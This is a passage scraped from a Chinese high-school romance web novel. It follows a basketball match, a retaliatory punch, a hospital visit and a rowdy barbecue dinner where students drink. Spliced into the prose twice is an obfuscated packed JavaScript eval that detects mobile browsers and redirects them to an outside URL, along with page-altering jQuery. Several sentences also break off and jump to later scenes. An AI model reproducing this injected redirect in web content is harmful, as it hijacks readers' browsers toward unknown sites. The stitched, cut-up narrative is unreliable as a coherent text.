黎妆虽然还在状况外,但是也能看的出来柏璟是不太喜欢岑周屿这个人的。 岑周屿的目光黏在那个背影身上过了许久,才意犹未尽的拍了拍赵阁的肩膀:“晚上哥请你吃饭。” 赵阁张了张嘴,还没说什么,岑周屿便也走开了。 话说的简单,这顿饭吃的肯定就没那么简单了。 比赛开始前五分钟,温恒年才姗姗来迟。 赵阁递给他一瓶水,怕他怯场似的:“放心,求你来就是凑个人数,咱们肯定不会输给北德一高那群运动废物的!” 旁边选好位置的柏璟一抬头便看见一身运动服的温恒年。 啧,这少爷也来了? “赵阁。”柏璟勾了勾手指,“过来下。” 赵阁心里对柏璟有愧疚,自然是叫干什么就干什么,觍着脸凑到他身前:“哎姐,怎么了您说?” “怎么磨动这位的?”柏璟有点好奇,温恒年那副死样子怎么看也不像是乐于助人那种类型的。 “姐,这就是你不对了,咱们不能以貌取人啊?虽然同班这么多年都没跟他说过几句话,但这次温哥听到是团队作战,义不容辞的就答应下来了。”赵阁一本正经道。 但事实确实如此,昨天排练结束后,他叫住人硬着头皮邀请对方的时候,温恒年只问了一句:“跟谁打?” 赵阁当时愣愣的回答:“北德一高的。” “嗯,好。” 少年声色很淡,似乎事不关己一般。 “就这样?”柏璟狐疑道,她犹记得之前自己让那人把表情包删掉,他还让自己求他了来着。 比赛开始 柏璟眼神一瞟,好死不死的又瞧见那个叫岑周屿的。 这次男人倒是没有之前那么放肆,眼神不再直勾勾的盯着她,偶尔也会扫上几眼,但是更多时候都是把目光投向场中篮球场中间那群人身上。 不知道在看谁。 趁着她胡思乱想了几秒钟的空当,旁边黎妆突然 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不过后半场,温恒年确实没有再继续摆烂了,会主动打暗号让人把球传给自己。 对方看形势越来越不利,主力选手脸色阴沉着跟那个一米九多的大高个说了几句什么。 比赛继续 前几分钟还没看出来什么不对,快十分钟的时候,柏璟皱着眉看见一米九用肩膀把赵阁拱开。 四次。 最后一次更是把赵阁整个人撞倒在地。 她不懂篮球,但也知道这种恶意伤人的行为是违规的。 旁边黎妆“啧”了一声,还没说什么,便被前排的人吸引了目光。 岑周屿骂了声操之后,大步跨向前,吼了一句:“你撞你麻痹呢!?” 还挺有正义感。 柏璟这么想着,眼神继续投向篮球场。 赵阁被撞倒起来的时候,扭了扭右手手腕,刺痛感立刻从关节部位向胳膊蔓延上去:“嘶——” 二班的男生走过去,眼看着赵阁的手腕立刻就鼓了起来。 “脱臼了应该。”温恒年微微喘着气,他虽然没有直接受到对方的针对,但后半场显露出来实力之后,也吃了不少阴招。 赵阁对脱臼没个概念,傻愣愣的问:“脱臼?那还能接回去不能?” 温恒年瞥他一眼:“能,但是这场,你打不了了。” “我操,那怎么行啊!?”赵阁错愕着,就要转动手腕试图让关节回归原位。 “对啊!没有赵阁,咱们接下去怎么打啊!”有人心态不稳。 “你别动了,直接去医院吧,下半场我打主力,放心,输不了。”温恒年眼神阴冷,扫向装作若无其事的北德一高一群人。 台上的柏璟不知道什么情况,以为是围在一起商量对策,不一会儿,便看看赵阁披着毛毯上来了。 黎妆诧异问道:“你怎么上来了?” 赵阁无奈的给她看已经肿起来,动都动不了的手腕:“妈的,那群逼真他妈阴。” 过来查看情况的班长也倒吸一口凉气:“走,我陪你去医院。” 黎妆被这略显惊悚的画面激的一层鸡皮疙瘩:“我朋友就在学校附近,他医院认识的有人,我跟你们一块儿吧。” 柏璟起身,她认识的人不多,现下来给他加油的赵阁和唯一关系好的黎妆都要走了,她自然要跟着。 “柏璟,你在这儿帮忙看着吧?这事儿估计有后续,有必要的情况下录个视频,黎妆跟我们去医院做伤情鉴定,之后要是闹到学校的话,咱们也有理。”班长不愧是班长,这种情况下还能理智安排。 柏璟沉默着看了眼场内剩下的人,还有个温恒年在,留下也不是什么大事儿。 那人把人围在一块儿不知道在说什么,没一会儿,人就散开了。 位置都没怎么变,只是接下来打主力的人换成了温恒年。 对方大概也知道自己做事不当,打着哈哈问了几声赵阁的情况,见没人理他们,冷哼一声,没了后话。 15.酩酊 比赛结束 出乎意料的,赵阁走了之后,温恒年带着剩下的人用极短的时间,以51:44的分差赢了比赛。 柏璟若有所思的看着被一群兴奋到尖叫的女生围在中间的温恒年。 这小子,有点意思。 温恒年从休息区桌子上拿过一瓶水,猛灌了几口之后,接收到不知道来自哪个方向的注视,他刚要抬眼去看,北德一高一群人便浩浩荡荡朝着自己走了过来。 这时候那群“护草使者”就显得气势格外的弱了,面对平均185身高的校篮球队,襄城一高温恒年的颜粉显然不管是身高还是别的,都矮上了一大截。 少年面前的女生慢慢的自动散开了,身后的一些也有往后退的趋势,偏偏少年看不清状况似的,面色淡淡的,下巴带着点傲气的微微抬起:“手下败将-们?” “你!”有人先沉不住气,但奈何温恒年是有理的一方。 一米九装模作样的伸手拦了一下身后蠢蠢欲动想要动手的人群,假惺惺道:“我认得你,以前二中的温恒年对吧?” 温恒年轻声一笑:“这么关注我,可惜了,我是直的?” 说出的话骚的很。 “本来就是一场友谊赛,随便打打,是输是赢也不重要,但你这是准备上演哪一出?赛后的嘲讽?”一米九明显对输给温恒年这件事儿有莫大的不服气,但心里也不明白为什么以前在二中从不参与这种比赛的温恒年会跟他们打这一场。 少年额角的汗珠低落下来,发尾湿润的,有薄薄的几捋粘在额间,不知道是不是被热气渲染过的原因,一向冷冽的眼神沾染了些不一样的情绪,长了一弯若有若无的勾子似的:“不在乎输赢?你说这话对不对得起自己的良心啊?” 他没再多说什么,往前大跨一步:“背后做事儿挺脏,可惜碰见我了,上不了台面的手段在我面前吊用都没。” 这话说的够劲儿,柏璟离得不远,少年语气够重够狠,听的她心里一颤。 不是没有听过别人吹牛逼,但吹的这么光明正大且中二十足的,柏璟还是第一次碰见。 不过这话从谁口中说出来都有点油腻了,但从温恒年嘴里出来的,就好像这个人本来就是这样似的。 “呵。”一米九被刺激的不轻,卯足了劲儿才压下心头那股子气,“你有空在这儿跟我对峙,不如省下点儿时间去医院看看赵阁那小子。” 温恒年若有所思:“你成年了吧?” “怎么?”一米九听到这儿,下意识的挺挺胸膛,试图让自己身高上的优势更明显一些。 “那刚好,我还没。” 下一秒,少年的话音跟拳头同时落下,这是柏璟这辈子第二次听到这种声音。 “嘭”的一声, 第一次是初中时候见池潭生跟人打架,用手包抡掉了人家半颗门牙。 第二次便是眼前的这位,肉-体直接接触,拳头狠准稳的落在一米九的下巴上。 柏璟牙根发酸,代入感太强,她觉得自己下颌也开始隐隐作痛。 她太明白温恒年话中的意思了。 一米九故意犯规让赵阁受伤,手腕脱臼,只要伤情鉴定出来,送进去拘留一段时间是跑不了的。 而温恒年打着没成年的幌子,顶多是赔点钱教育一下。 就差把“打你怎么了”这句话写在脸上。 温恒年打完人,不吭不响的绕过惊慌着去看一米九伤势的北德一高那群人,侧过身从栏杆上拿了自己的外套便朝着学校门口走去。 途经过柏璟的时候,还不忘帮她回神,伸手点了点她的额头:“还不走,留下来等着一会儿替我挨揍?” 出了学校 柏璟深沉的看了他一眼:“我平时倒是没看出来你跟赵阁感情这么深啊?还替别人打架出气呢?” “纠正一下,不是打架,是他单方面挨我的揍。”温恒年悠悠说道,心情不错似的把外套搭在右肩上。 接着,针对柏璟那句关系好的话做出了回应:“无关感情深不深,只是不喜欢那群阴人的作风而已。” 得,逼都让这人给装完了。 “行嘞。”柏璟歪了歪头,“现在我要去医院看看为了学校荣誉英勇奋战结果光荣负伤的赵阁战士,温上校要跟我一起吗?” 温恒年被这一串话逗得挑了下眉:“求我?” 柏璟没忍住:“怎么别人的要求你想都不想就答应下来,到我这儿就得求你?” 少年止住脚步,静静地打量了柏璟一番,然后认认真真道:“柏璟,你不觉得你这么欠的性格,开口求人的时候让人心情特别爽吗?” 柏璟假笑差点没维持住,我能让你更爽要试试吗? 不过这话没说出来,她不喜欢跟人计较,语气俏俏的:“求你,一起去吧?” 求得毫无诚意,但也得懂得适可而止,温恒年点点头,鼻子里面发出一个音节:“嗯。” 医院里除了进去接骨的赵阁和外面焦急等待的班长和黎妆,还有一个柏璟没想到的人。 岑周屿。 她皱着眉,对这个人的印象实在是不怎么好,只得忽略他的存在。 黎妆见柏璟来了,眉头总算是舒展开了:“比赛赢了吗?” “赢了。”柏璟说道。 黎妆点了点头,接着往她身后看去,小声的在柏璟耳边吐槽着:“妈的岑周屿往这医院一站,人小护士都不乐意过来跟我们多说话,跟他妈个□□似的,好吓人,我喘气儿都喘不上来了。” 柏璟拍了拍她的手背,揶揄着:“妆姐有简老大撑腰,还怕这种人物?” 黎妆撇嘴:“我是觉得这句话气氛太窒息了,你没看咱班小班长,脸都吓白了。” 柏璟冲着刚回过神的班长点了点头,安抚似的笑了下。 因为在下面抽了根烟,温恒年上来的晚,他草草的扫了一圈,最终目光落在了正饶有兴趣的盯着柏璟的岑周屿身上。 他在二中的时候,跟岑周屿没有明面上的不对付,私下里矛盾不断,他看不上对方招摇过市的作风,而那人大概也对自己的善于伪装嗤之以鼻。 同校时期温恒年也算不得安分。 但眼前这个人,比他更甚,校内校外碰见的人都能跟他打的上招呼。 两人没什么天大的梁子,只是以岑周屿为首的那群人总爱犯贱出风头,不可避免的惹到过他,中二犯病期打过几次架,没吃亏也没占到什么便宜。 跟岑周屿正式打照面,这算是高中以来第一次。 温恒年突然想起来之前黎妆说的那句“赵阁帮人要柏璟的联系方式”。 当时只是秉着猜测,现在这会儿却是真正看出来了。 岑周屿对柏璟有意思。 或许是少年的脚步声太沉重,也可能是这个人本身就存在感很强,岑周屿把目光从柏璟身上抽离出来的时候,便顺理成章的看见了后面站着的温恒年。 他其实对温恒年颇有些惺惺相惜的意思,只是这个人太表里不一,压抑着自己,让他莫名觉得不爽,因此每次见面都没不是什么好气氛。 柏璟不知道他们的过节,黎妆虽然有听简侵说过一点,但也只了解了个大概。 二人只觉得自从温恒年来了之后,周围的空气有些凝滞住。 “这俩人怎么对上了?”黎妆嘀咕一声。 “既然赵阁朋友在这儿,咱们就先回去吧。”柏璟率先开了口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13913358|146054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不太想跟这个人共同待在同一个环境下,哪怕旁边有其他人。 “嗯。”温恒年也附和了一声。 班长没懂两人的意思,懵懵的问:“不拿伤情鉴定了吗?” “…就是。”岑周屿双手插在棒球服的口袋里,拽可以打个十分,“我又不是你们学校的,让我拿着也没个毛用。” 柏璟憋着一口气:“那就等会。” 总不能让班长一个人在这儿跟岑周屿共处一室。 “哎,你就是柏璟是吧?”刚刚在篮球场的时候,因为赵阁的事儿需要解决,岑周屿没机会上前搭讪,这才总算能跟她说上话,自然不会轻易让人走了。 “嗯。”柏璟漫不经心道。 “交个朋友呗,熟人都这么多了。”岑周屿对她的冷淡视若无睹,他这人自信得很,主打的就是一个没有密不透风的墙,也没有烈火浇不开的冰块。 柏璟慢吞吞又说:“喔,我这人不爱交朋友。” “……行!今天晚上为了庆祝赵阁比赛赢了,我请赵阁吃饭,赏个面子你也凑凑热闹?”岑周屿舔了下牙尖,这还真是块儿难啃的骨头。 不熟怎么了?吃几顿饭约几个会不就熟了? 柏璟没说话,脸上写着“有病吧”三个字。 “别多想啊,就只是单纯的聚餐,赵阁,黎妆,你们班这个班长,我都叫了的。”偏偏这人不死心,死皮赖脸的再次邀请。 黎妆:“打住,你可没叫我。” “现在叫也不晚嘛。”岑周屿挑眉道。 还真是费心思。 柏璟看向一旁沉默着的少年:“你去吗?” “不去。”大约是刚抽过烟没多久的缘故,温恒年说话的时候声音还带着点沙哑,“又没邀请我。” 柏璟点头,接着回答:“不去。” “……你们今天打篮球的整个队,我提前跟赵阁说过的,统一都邀请了。”岑周屿咬咬牙,他心里知道这是温恒年故意的,但也无奈,只能拉下脸皮。 柏璟再次看向温恒年,对方缓缓点了点头,又看向黎妆,那人耸肩:“简侵最近忙,我也挺没事儿干,去玩一下也行。” 看两人都没什么异议,柏璟这才终于答应下来:“行。” 差不多又等了一个小时左右,赵阁从手术室出来了,手腕上打了石膏,医生跟着出来,看见门口突然多了几个人,推了推眼镜:“你们谁是家属?下去交一下费用顺便拿一下鉴定报告。” 几人默契的看向岑周屿,男人“啧”了一声,只好举手站出去:“我是。” 趁着岑周屿下去缴费,赵阁迫不及待的看向温恒年,对方接收到他的眼神之后,便立刻就明白了他想问什么:“赢了。” “我操!”赵阁一个没控制住,兴奋的叫出声,引来旁边的护士狠狠一个白眼,他降低音量,“温恒年,nb啊!以后你就是我兄弟了!” 温恒年慢悠悠说:“你兄弟太多,还是算了。” 赵阁苦着一张脸:“别啊,我今天还跟我柏姐姐面前夸你不是那么不近人情的人呢!” “她说我不近人情?”温恒年迅速捕捉到重点。 柏璟:“……” 天地可鉴,她可完全没有。 “你就说!咱们是不是一个班的!”赵阁气氛上头,非要个说法。 温恒年被这一声低吼震慑了一下:“…是。” “那刚刚是不是一起并肩作战过!” “…是。” “那咱们就是朋友了!” “……” “唉?你去哪儿?”赵阁瞪大眼睛看着那人。 温恒年摆了摆手:“再待下去我怕你跟我抛头颅洒热血。” 16.酩酊 柏璟没参加过这么多人数的聚会,这算是第一次。 实际感受实在算不上多好。 岑周屿的人脉全体现在这个四不类的大排档了,集烧烤炒鸡各种小吃为一体的店。 做饭的师傅口音一股子洒满孜然的羊肉串儿味,大胡子,皮肤黑黝黝,浓眉大眼。 一见岑周屿,操着一口不知道哪地方的口音招待着:“周屿小兄弟!这一大帮子都是你朋友啊?” 岑周屿乐呵着迎过去:“对对,我弟赵阁今天打篮球赛,碾压式胜利,我带他和队友们来庆祝。” 大胡子师傅往他身后看了看,纳闷道:“你这弟弟篮球队里的女生还挺多哈!” 对了,除去柏璟,黎妆跟班长三个之外,岑周屿还叫了一帮子职高的女生。 班长攥紧柏璟的衣角,恨不得整个人挂在她身上,身旁就是几个披着大波浪的胸霸。 上身一个小小的吊带,低胸低到呼之欲出,外套仅仅披了一个半透明的薄纱外衫,下身要么超短裙要么齐大腿根儿的短裤,脸上的妆容浓到眉毛是眉毛,嘴唇是嘴唇的。 几位姐姐一人手指间夹着一支烟,嘻笑打闹期间,险些把正在燃烧着的烟头戳到黎妆胳膊上。 “呀…” 冷不防的,班长被这几个人给撞了一下,她个头比黎妆和柏璟都要矮,不知道是不是有意的,那几个人撞过来的力度很大,连带着一旁的柏璟都被迫退了几步。 柏璟“啧”了一声,拉过班长跟自己换了个位置,那几个女生嘻嘻哈哈的,没注意到这边的情况。 果然,不出两分钟,女生故技重施的再次撞过来。 柏璟暴脾气,从不惯着谁。 在对方身子靠近的一瞬间,掌心会力,稍稍使了些劲儿就把离得最近的那个女生退了出去。 “你干嘛呢!?” 那女生被这么一推,瞬间爆发,还以为推自己的是那个小个子女的,转过身定睛一看,旁边不知道什么时候换成了一个冷脸的女生,先是愣了愣,接着似乎是想起来自己才是有理的那一方,凶狠的皱着眉头: “就他妈你推的我?” 柏璟冷淡的表情消瞬即逝,一张脸无辜的很:“哪儿有。” 女生没想到她变脸这么快,还是当着自己的面,有些目瞪口呆的:“你!?” 岑周屿注意到这边的情况之后,原本不想管,这几个女的在学校就事儿逼的很。 只不过在看到是跟柏璟有牵扯之后,寻思着自己来英雄救美一出,刷个存在感也行,便凑过来问:“怎么个情况?” 撞人那女生一看有人过来,还是邀请自己来的岑周屿,小嘴一撅,乍一看,粉扑的惨白惨白的脸上就剩个红艳艳的嘴唇了:“周屿哥!你朋友好凶啊!还推人呢!” 娇滴滴的声音落在柏璟耳朵里,本来就不热乎的温度,更加零下三十六度,冻的她起了一身鸡皮疙瘩。 岑周屿怎么可能真的顺着这女生的心意去挑柏璟的刺儿,只是伸手敲了敲那女生的脑门:“我还不知道你?给我老实着!” 这话倒是好用的很,女生嘟囔了一声之后,果然没再找事儿。 一行人大概有快二十来个,浩浩荡荡的坐了一个大包间,分了两桌。 分座位的时候,柏璟瞅准了位置,率先坐到了温恒年的旁边,紧接着手疾眼快的拉着黎妆坐在自己另一边,左右手都满当了才舒了一口气。 岑周屿是吆喝请客的,等所有人分配完座位之后,才看见柏璟旁边的两个位置都已经坐满了,脸绿着坐到了跟她对面的位置上。 这人点肉都是要的最大份,串儿也是几十传几十串的往上加,柏璟牙根痒痒的用舌根舔了舔。 “还挺舍得。” 声音不大,但这句话却被温恒年听了个清楚。 少年轻轻的笑出了声:“你是真傻还是装懵?” 柏璟没明白他的意思:“嗯?” 少年手指纤细,点在桌子上一下一下的敲着:“岑周屿这人,追女生最下血本,上一个是职高艺术系的系花儿,连面都没见过呢,小一万块钱的最新款手机说买就买给人家了。” 柏璟面不改色,在心里给岑周屿竖起大拇指。 她这人八卦,聊到这儿了就忍不住心痒多问一句:“怎么?你们男生追女生不一个套路?你是走哪条路线的?” 温恒年淡淡的瞥她一眼,眼神里面内容颇多:“我是被追的那个。” “……” 这话说的倒没错 温恒年自从初中慢慢长开之后,收到的情书就能装满一个抽屉,更别提在高中这个最容易情窦初开的年纪了,高三开学之后,明里暗里来堵人表白的不在少数。 柏璟突然想起来初开学的时候,少年路在后面罚站,从他身上闻到的那股子松木香。 想到这儿,她悄悄凑近又轻轻嗅了嗅,不知道是不是烧烤店的肉味儿太浓,此时对方身上并没有什么味道,只是有一种微感清新的气息扑面而来。 柏璟更加确定了这骚包出门会喷香水的事实。 温恒年看着旁边女生类似于小狗一样的行为,又看见那人从坐直之后脸上就出现了鄙视一样的神情。 他蹙眉,自己身上有什么怪味儿吗? 温恒年另一边坐的是个职高的女生,是刚刚那四个找茬的女生其中一个,不过比起另外三位,这位算得上是沉默寡言一挂的,妆容也不深,恰到好处的锦上添花,面上表情还略带一些羞涩。 “温恒年,你还记得我吗?”女生看着身边少年跟那个冷颜女生的互动,试探性的主动搭了句话。 温恒年转过头,沉思几秒钟:“不好意思。” 女生眨了眨眼,似乎是没想到他真的回应自己了:“我也是二中的,初二时候我们一个班的呀。” 虽然这人不记得自己有点尴尬,但她自己本身就属于没什么存在感的人,温恒年这种万众瞩目的人注意不到自己也是情理之中。 啧。 一旁的柏璟在心底对温恒年的定义又深了一层,她倒也没有存心去听这些闲话,只是恰好坐在这儿了,就算脑子刻意不听,耳朵也是管不住的。 温恒年“哦”了一声,他初中基本都是睡过来的,认真听课,积极社交的次数两位数以内就能数出来,班里有多少人都没记着,对这个女生实在是半分印象也没有。 不过,当事人似乎并没有把这个小插曲放在心上。 女生张了张口,没再说什么别的。 啤酒上来了。 岑周屿叫了五箱冰啤,还拿了两瓶白酒。 跟柏璟隔着一个人的班长没见过这种阵仗,看着兴奋的撬了一瓶啤酒就准备往下灌的赵阁,气的牙发抖:“翻天了翻天了!这小子还敢喝酒了!?” “班长大人,在校外就别那么苛刻了吧。”黎妆一边剥着毛豆,一边好心的 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他喜滋滋的,要了一串塑料杯子过来:“这样,大美女,你也别对瓶吹了,给你拿杯子,你慢慢倒着喝。” 柏璟的唇线抿的很平,她就不能不喝? 岑周屿显然看出来她的心思,这么好的机会他怎么可能放过? “吃肉不喝酒,香味就没有。”男人懒散的飘过来一句话,“不过我也不喜欢强迫人,你随便喝几口意思意思就行!” 话说的好像不给他这个面子就不行似的。 可惜他还是不够了解柏璟,越是这种情况,她越不喜欢看人得逞,把酒杯往桌子上轻轻一放,一副你能怎么样的表情。 岑周屿吃了个闭门羹,开始转移目标望向旁边的温恒年,寻思之后,扔了瓶没开的酒过去:“温公子赏个脸?” 这位少爷从刚才开始,就往椅子上一后靠,看戏似的目光在他跟柏璟之前来回流转。 所以说,岑周屿咬了咬牙,他是真特么讨厌这种能一眼看穿自己的人。 温恒年精准的接到那瓶酒,顺手从柏璟面前那摞塑料杯子上抽下来一个:“那岑少爷手下留留情,我也用这个?” 岑周屿冷哼一声,嘲讽的笑了笑:“温公子,别人不知道,我还不知道你?” 赵阁这才反应过来的,自己刚结拜下的兄弟跟自己这个大哥中间之间肯定是有什么过节的。 他连忙起身,刚要想几个措辞把话题引开,就看见温恒年狠稳准的用桌子上的打火机撬开酒瓶口的瓶盖。 “卧槽!” 桌子上其他一众人被这一连串动作给震了一下,很装逼没错,但是是真他妈的酷! 柏璟默默给温恒年想了个新的备注——不装杯会死星人。 两人的对峙看似结束,但实际才刚刚开始。 以往的暗里的不和,今天一下子全摆在了明面儿上,谁也不让谁。 岑周屿有些讶异温恒年的酒量,自己是在各种酒吧KTV里练出来的,但他可没怎么听说温恒年也喜欢去这种地方。 柏璟被这种似乎马上要燃起来的气氛给带动,没忍住倒了一满杯屏着呼吸一口气喝下去。 结果差点一口气上不来不说,还给自己灌的胃里全是气泡。 17.酩酊 柏璟酒精不上脸。 别人一喝酒就脸红脖子粗,双颊涨红的活像煮熟的螃蟹。 她不是,一张巴掌脸白兮兮的,因此沉默着傻了半天之后,黎妆才意识到柏璟有点不对劲儿。 黎妆伸手掐着柏璟的手臂晃了晃:“阿璟,你还好吗?” 女生眼神不复以往的冷淡,眼中的排斥消散之后是懵懂:“嗯?我很好。” 那就是不太好了。 这一桌上跟柏璟交好的人少之又少,赵阁玩的正嗨,整个人站起来一只脚踩在椅子上喝,打了石膏的那只手像个雕塑立在他腕接处。 黎妆啧了一声,这逼是指望不上了。 接着她叹了口气,虽然之前没少跟柏璟出去喝酒,但把人喝到傻了的地步还真是头一次。 她凑的离柏璟近了些:“我送你回家?” 听到这句,柏璟一直懵着的表情才有了些许波动,她歪了歪脑袋:“几点了。” 黎妆看了眼手机:“还没过九点。” 柏璟虽然脑子冒酒花儿,但也没到连理智都保持不了的地步:“那等整点?” 包间里氛围热火朝天,总不能因为她而破坏了。 难搞。 黎妆没面对过喝过酒的柏璟,准确的说,是她连喝多了的醉鬼都没面对过,因为一般别人喝多之前,先趴下的一定是自己。 这次还真是奇了怪了。 她现在也只能顺着柏璟的意思,先不带她离开。 可偏偏有人要借机发挥,注意到柏璟不对劲儿的不止离得近的黎妆,还有旁边一直跟岑周屿对刚的温恒年。 紧接着就是岑周屿。 温恒年握着啤酒瓶的手停下来,把瓶子放在桌子上,往后一靠,目光越过柏璟问黎妆:“她喝多了?” 只是个口型,没发出声音。 黎妆点点头,表情似是无奈:“嗯。” 温恒年迟疑了下,这等子闲事儿他是不想管的,而就是这么迟疑了一下,让一直注意着他们的岑周屿瞄见了。 岑周屿就是属于那种喝完酒脸红脖子粗的,他面相不善,这么个情况下看起来格外骇人,瞧着他往自己这边走过来,饭桌上沉默许久的班长缩了缩脖子。 “柏璟,还好不?”岑周屿走过来之后,身子靠在包间靠着墙的椅子上,跟另一边的职高女生们嬉笑了几声之后,才装了一副漫不经心的模样问起柏璟的情况。 黎妆没吭声,她不太想接岑周屿的话,只期盼着柏璟能像回答自己一样清楚的回答对方,然后让他赶快忙自己的去。 不出意外的话,就会出意外了。 柏璟管不了自己的嘴巴,脑子也糊糊涂涂的,别人问什么问题在她耳朵里像过了个电音,她还没来得及控制住神经,嘴巴就先张开了:“你爹好得很。” “……” 黎妆呆滞了一下,随后爆笑,柏璟这怎么还差别攻击呢? 温恒年倒是被逗乐了,也跟着短促的笑了一声。 岑周屿被这么突然加了辈,也没在乎,仍旧乐呵着试图突破柏璟脑子里那根防线:“哎,你要是不行的话,让黎妆她们继续在这儿玩?我送你回去?” 话都说的这么明白了,一桌人被阴风吹了似的沉默了下来,紧接着除了几个跟柏璟打过照面的人之外,又陷入了混乱。 赵阁虽然玩的上头,但是这会儿也是紧紧盯着柏璟,生怕她一鸣惊人答应了。 好在理智还在来回拉扯的路上,柏璟扬起下巴淡声说道:“用不着。” “行,看来真的没事儿,那就继续?”岑周屿舔了舔舌根,他就喜欢这种让人有征服欲的女生。 柏璟的长相是他没好过的没类型,这要是拿下了,保不齐轰轰烈烈一场。 一直看戏的温恒年这才出了声,毕竟也是同班同学,他这么一个根正苗红的好青年也不能看着同班女生“误入歧途”: “我替她。” 说罢,不等岑周屿同意,自己便先拿起酒瓶把剩下的半瓶啤酒全部灌下去。 看周围几个人护柏璟护的紧,岑周屿没再说什么,遗憾的叹息一声坐回了座位。 黎妆紧看慢看着,不让柏璟再继续碰有酒精的任何东西,但耐不住她自己眼馋的很,饿了就抓起旁边的串往嘴里塞,渴了手碰着什么杯子就直接往嘴里灌。 直到眼睁睁看着柏璟从旁边盘子里拿走一串肉串,被抢走吃食的主人是表情沉默的温恒年。 这都不是什么大事儿。 黎妆心想,出来混什么大风大浪的没他妈见过,还搞不定一个喝上头的人? 事实证明,这话只在她想去厕所之前有用。 黎妆猫着腰凑到温恒年旁边,敲了敲那人的椅子:“哎,帮我看一下阿璟,我去一趟厕所,她喝多了我不放心让她跟着。” “行,你去吧。”温恒年这会儿也喝不了多少了,他没吃什么东西,一来就跟岑周屿那逼对吹了好几瓶,好不容易趁着岑周屿去灌别人了自己能吃点,没成想吃了半串就被柏璟一手抢走。 身边突然空了个位置,柏璟下意识就要跟着站起来走。 温恒年眼疾手快,一把抓住女生的手腕把她拉回来:“老实点。” 可他忘了柏璟是个醉鬼,怎么能跟正软着骨头的人用这么大力气呢? 柏璟身子一晃,脑子混混沌沌的,被这么一拉更起泡泡了,等那股昏沉劲儿过去,她才发现,自己半个身子坐在了温恒年腿上。 温恒年似乎也是没想到会有这么个场景,手松开之后,微微尴尬:“黎妆去厕所,你在这儿听话等她回来吧。” 这一坐,柏璟大概也吓的清醒了一些,“喔”了一声之后,直到黎妆回来前再没动过。 黎妆回来的时候给她捎了瓶绿茶:“喝点这个吧,催吐,吐出来就清醒了。……诶?你又喝酒了?怎么还上脸了?” 柏璟一听,反射性的抬手用手背碰了碰脸上的温度,烧的慌。 “…可能吧。”柏璟声音闷闷说道,接过绿茶往下灌了一大口。 聚餐结束 一群人七倒八歪的从店里出来。 柏璟清醒了许多,浑身上下浓重的孜然味儿让她只想赶快回家去洗个澡,把身上的味道驱散掉。 “我先送你回去,然后再打车回家。”黎妆说着,挽起她的胳膊就向路边走去,她得看好柏璟,万万不能让那个什么岑周屿捡了漏。 柏璟拍了拍她的手:“我没事,已经好多了,能自己回去了。” “你这样让我怎么放心你?” 说着,黎妆又降低声音,用只有两个人能听到的音量说:“那个岑周屿不安好心,万一你被他拐走……这样那样了怎么办?” 柏璟失笑:“妆姐,你是不是忘了现在是法治社会了,他再牛逼也不可能敢做这种事儿的。” 黎妆不依,坚持着仍要送她回去。 柏璟无奈,刚要答应,便被送赵阁上车回来的温恒年给截胡:“你回去吧,我送她,刚好宋京承在网吧通宵,我去坐会儿。” “行,那人就交给你了,千万把人安全送回去啊,”黎妆持着怀疑态度看向温恒年。 “这话说了几十遍了,哪次我让她吃过亏?”少年眼神戏谑看向柏璟,对方正抿唇看着自己。 蓦地又想起来刚刚吃饭时候柏璟不小心坐在自己腿上的时候的那个表情,他转开视线。 人都走的差不多了,黎妆又叮嘱了几句之后才上了车。 岑周屿大概也是知道今天晚上没什么持续发展的可能,搂着来的时候跳的最欢那个红唇女生就打车离开了。 【柏璟,真挺不好意思的,周屿哥就是在外面玩习惯了,你别搭理他就行。】 【改天我请妆姐你俩吃饭赔罪,再带上温恒年,我请你们仨……真对不住了。】 柏璟挑了挑眉,看着微信里面两分钟前赵阁发来的消息。 自己这个当事人还没觉得有什么呢,这家伙就先给自己赔礼道歉了? 不知道是不是在饭店里面呆的太久了,外面的空气格外的新鲜,柏璟舒了一口气,转过身看向身后,才发现后面温恒年不知道盯着自己看了多久。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被这么压制着,女生觉得自己特没面子,想挣脱又挣不开,纳闷着对方是什么组成的,他妈的怎么力气就这么大? “……操,你放开!”感受到其他人的目光,女生面红耳赤,用尽力气推了一把。 柏璟松开手,原本想留几分情面给她,可惜那人偏偏是个给脸不要脸的类型。 不过在她还手前,便被四班那几个人拦下来了:“舒微,算了,外面那么多校领导都在呢,闹起来了咱们几个都得吃处分。” 舒微狠剜了柏璟一眼,自认为好心的提醒她:“你以为你帮了程娅那小婊子是件多么好的事儿?小心引火烧身自个儿吃亏。” 柏璟把这话理解为了变相的威胁,唇角一弯:“还想做什么尽管来,我时间多的很,想玩我们就慢慢玩。” “……有病。”舒微眉头拧成一个疙瘩,气呼呼的把自己的东西往怀里一抓跟着那几人后走了。 柏璟松了松筋骨,她刚刚也不确定自己能不能震慑住对方,这会儿事情结束,后知后觉的胳膊有些发软。 后台通往外面是用一层门帘掩住,柏璟活动身子的时候这帘子被人悉悉索索的掀开来。 进来的是看上去还有些惧意的程娅:“柏璟,她们刚刚跟你说什么了?……你没受伤吧?” 明明面对那么多人的是自己,可程娅看上去比她害怕多了。 知道心理阴影有可能是一辈子的事儿,柏璟安抚她:“放心,她们不敢的。” 程娅小声道:“说真的,我好羡慕你。” “羡慕我?”柏璟诧异的重复一句。 女生低下头,声音像蜜蜂嗡嗡似的:“羡慕你有勇气,也羡慕你有那么多朋友护着。” 柏璟没明白她后半句的意思,只把前半部分听在了耳朵里:“这种人,你越怂她们就越嚣张。” 又想到程娅的性格,柏璟换了种安慰方式:“不过估计你们以后也不会见到了,放心。” 18.酩酊 